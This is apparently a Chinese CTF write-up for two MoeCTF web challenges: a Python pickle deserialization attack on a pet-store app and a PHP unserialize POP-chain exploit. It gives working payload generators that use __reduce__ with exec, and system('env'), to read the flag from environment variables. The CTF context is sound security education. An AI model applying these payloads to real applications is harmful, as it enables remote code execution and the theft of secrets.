MoeCTF-Web
PetStore 题解(pickle反序列化)
审计源码,小白没发现什么,看了提示是pickle序列化与反序列化,查看Dockerfile,flag在环境变量里
pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。
基本使用
1 2 3 4 5 6 7 8
| import pickle
data = {'name': 'Alice', 'age': 25} serialized_data = pickle.dumps(data)
deserialized_data = pickle.loads(serialized_data)
print(deserialized_data)
|
在上述代码中,我们首先使用pickle.dumps()函数将一个Python对象序列化为字节流,然后使用pickle.loads()函数将字节流反序列化为Python对象。
和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__
魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__
魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.
除此之外还有很多魔术方法.例如初始化函数__init__
和构造函数__new__
.和php类似,python中也有魔法属性.例如__doc__
,__name__
,__class__
,__base__
等.
引自pickle反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)
这里通过 pickle
和 base64
的结合,是利用了 Python
对象序列化和反序列化中的安全漏洞。这种方式可以在服务端执行恶意代码。让我们仔细看为什么这个攻击有效:
pickle
反序列化漏洞: pickle
是 Python 的序列化工具,可以将 Python 对象转为字节流。反序列化时,pickle
会重建对象及其状态。如果恶意用户能够控制传入的数据,就可以构造特定对象,在反序列化的过程中执行任意代码。
- 在代码中,
import_pet
函数会对传入的 serialized_pet
字符串进行 pickle.loads()
操作。这意味着传入的数据会被反序列化为 Python 对象,如果构造的对象具有特殊方法(例如 __reduce__()
),就能让服务端执行任意代码。
注:
pickle
模块的反序列化过程之所以能执行任意代码,是因为在反序列化对象时,pickle 支持一些特殊的钩子方法,比如 __reduce__()
、__reduce_ex__()
、和 __getstate__()
。这些方法允许对象指定在反序列化时应执行的操作,而这种机制为攻击者提供了利用机会。
具体来说,__reduce__()
方法可以返回两个元素的元组:(可调用对象, 参数)。当 pickle 在反序列化对象时,会使用这个元组的第一个元素作为可调用对象,并将第二个元素作为参数传递给它。因此,如果一个恶意对象实现了 __reduce__()
方法并在其中返回一些任意的可执行代码(如 exec
函数),在反序列化时就会触发这个代码的执行。
例如,__reduce__()
可能返回 (os.system, ("ls",))
,那么在反序列化时,pickle
模块就会调用 os.system("ls")
,从而执行命令行中的 ls
命令。
官解代码:
1 2 3 4 5 6 7 8
| import base64 import pickle class Test: def __reduce__(self): return (exec, ("import os;store.create_pet(os.getenv('FLAG'), 'flag');",)) if __name__ == "__main__": print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))
|
exec(“import os; store.create_pet(‘flag’, os.getenv(‘FLAG’));”)
1 2 3 4 5 6 7 8 9 10
| import base64 import pickle
class Test: def __reduce__(self): return (exec, ("import os;store.create_pet(os.popen('echo $FLAG').read().strip(), 'flag');",))
if __name__ == "__main__": print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))
|
也行
moe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php class class000 { private $payl0ad = 0; protected $what; public function __destruct(){ $this->check(); }
public function check(){ if($this->payl0ad === 0){ die('FAILED TO ATTACK'); } $a = $this->what; $a(); } }
class class001 { public $payl0ad; public $a; public function __invoke(){ $this->a->payload = $this->payl0ad; } }
class class002 { private $sec; public function __set($a, $b){ $this->$b($this->sec); }
public function dangerous($whaattt){ $whaattt->evvval($this->sec); } }
class class003 { public $mystr; public function evvval($str){ eval($str); }
public function __tostring(){ return $this->mystr; } }
if(isset($_GET['data'])){ $a = unserialize($_GET['data']); } else { highlight_file(__FILE__); } ?>
|
**(错的分析)**我们看上面那段代码,class002调用了class003的evvval函数,eval执行了$str,$str应该是一个语句,所以$whaattt应该是$class003,sec是system(‘ls’);之类的,__set是个赋值函数,tostring的作用是,比如要打印class003对象,打印的就是mystr。
下面正确:
__set( $property, $value )`$a是属性,$b是值
$a = $this->what;
把what给了a,what应该是个对象
dangerous是需要被调用的,我们找找哪里可以调用它
观察到$this->a->payload = $this->payl0ad;
payload只出现了一次,可能是个property,需要赋值,那么$a会不会就是class002,payl0ad就是dangerous
后来发现之前分析不对啊!!!
如果$b(payl0ad)是dangerous
1 2 3 4 5 6 7 8 9 10
| class class002 { private $sec; public function __set($a, $b){ $this->$b($this->sec); }
public function dangerous($whaattt){ $whaattt->evvval($this->sec); } }
|
$b($this->sec);和dangerous($whaattt),发现,$this->sec和$whaattt,那么sec就不能是语句,应该是个对象!!!,也就是class003.evvval(class003),我们发现如果sec作为参数传入的话,根据tostring,它会被解析为mystr,所以mystr才是语句
因此理一下,函数调用顺序为:
__destruct()->check()->__invoke()->__set()->dangerous()->evvval()->eval()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php class class000 { public $payl0ad = 1; public $what; public function __destruct(){ $this->check(); }
public function check(){ if($this->payl0ad === 0){ die('FAILED TO ATTACK'); } $a = $this->what; $a(); } }
class class001 { public $payl0ad = "dangerous"; public $a; public function __invoke(){ $this->a->payload = $this->payl0ad; } }
class class002 { public $sec; public function __set($a, $b){ $this->$b($this->sec); } public function dangerous($whaattt){ $whaattt->evvval($this->sec); } }
class class003 { public $mystr="system('ls');"; public function evvval($str) { eval($str); }
public function __tostring() { return $this->mystr; } }
$what = new class003(); $b = new class002(); $b->sec = $what; $c = new class001(); $c->a = $b; $d = new class000(); $d->what = $c; echo urlencode(serialize($d)); ?>
|
$payl0ad要改成1注意,找flag可以去改语句$mystr,Flag还是在env里面,命令改成system(‘env’);即可
还有其他写法
官方wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php highlight_file(__FILE__); class class000 { private $payl0ad; protected $what; public function __construct(){ $this->payl0ad = 1; $this->what = new class001; } } class class001 { public $payl0ad; public $a; public function __construct(){ $this->a = new class002; $this->payl0ad = 'dangerous'; } } class class002 { private $sec; public function __construct(){ $this->sec = new class003; } } class class003 { public $mystr; public function __construct(){ $this->mystr = "system('env');"; } } echo urlencode(@serialize(new class000)); ?>
|
1